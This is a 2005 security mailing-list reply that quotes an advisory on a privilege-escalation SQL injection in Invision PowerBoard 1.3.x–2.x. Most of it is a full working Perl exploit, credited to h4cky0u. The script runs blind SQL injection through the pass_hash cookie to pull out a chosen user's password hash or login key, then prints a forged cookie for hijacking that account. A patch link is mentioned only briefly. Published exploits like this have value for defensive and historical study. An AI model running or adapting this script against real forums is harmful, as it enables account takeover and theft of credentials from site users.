Re: [HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit and Patch
This is a bug in <= 2.0.3 not 2.*.
/str0ke
On 16 Jul 2005 18:25:35 -0000, zinho@xxxxxxxxxxxxxxxxx
<zinho@xxxxxxxxxxxxxxxxx> wrote:
> Hackers Center Security Group (http://www.hackerscenter.com/)
> Zinho's Security Advisory
>
> Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL
> injection
> Risk: High
>
>
> hacky0u from http://www.h4cky0u.org kindly reported to me an exploit working
> against 1.3.x and 2.x versions of Invision Power board.
>
> I've coded a quickfix to patch it:
> http://www.hackerscenter.com/archive/view.asp?id=3812
>
>
>
> This is the exploit (Full credit to h4cky0u for it):
> #!/usr/bin/perl -w
>
> ##################################################################
> # This one actually works :) Just paste the outputted cookie into
> # your request header using livehttpheaders or something and you
> # will probably be logged in as that user. No need to decrypt it!
> # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
> ##################################################################
>
> use LWP::UserAgent;
>
> $ua = new LWP::UserAgent;
> $ua->agent("Mosiac 1.0" . $ua->agent);
>
> if (!$ARGV[0]) {$ARGV[0] = '';}
> if (!$ARGV[3]) {$ARGV[3] = '';}
>
> my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
> my $user = $ARGV[1]; # userid to jack
> my $iver = $ARGV[2]; # version 1 or 2
> my $cpre = $ARGV[3]; # cookie prefix
> my $dbug = $ARGV[4]; # debug?
>
> if (!$ARGV[2])
> {
> print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver
> 1/2]. ";
> exit;
> }
>
> my @charset =
> ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
>
> my $outputs = '';
>
> for( $i=1; $i < 33; $i++ )
> {
> for( $j=0; $j < 16; $j++ )
> {
> my $current = $charset[$j];
> my $sql = ( $iver < 2 ) ?
> "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2527$current%2527)/*" :
> "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i,1)%3d%2527$current%2527)/*";
> my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre .
> "pass_hash=" . $sql);
> my $res = $ua->get($path, @cookie);
>
> # If we get a valid sql request then this
> # does not appear anywhere in the sources
> $pattern = '<title>(.*)Log In(.*)</title>';
>
> $_ = $res->content;
>
> if ($dbug) { print };
>
> if ( !(/$pattern/) )
> {
> $outputs .= $current;
> print "$current ";
> last;
> }
>
> }
> if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
> }
> print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash="
> . $outputs;
> exit;
>
> # www.h4cky0u.org
>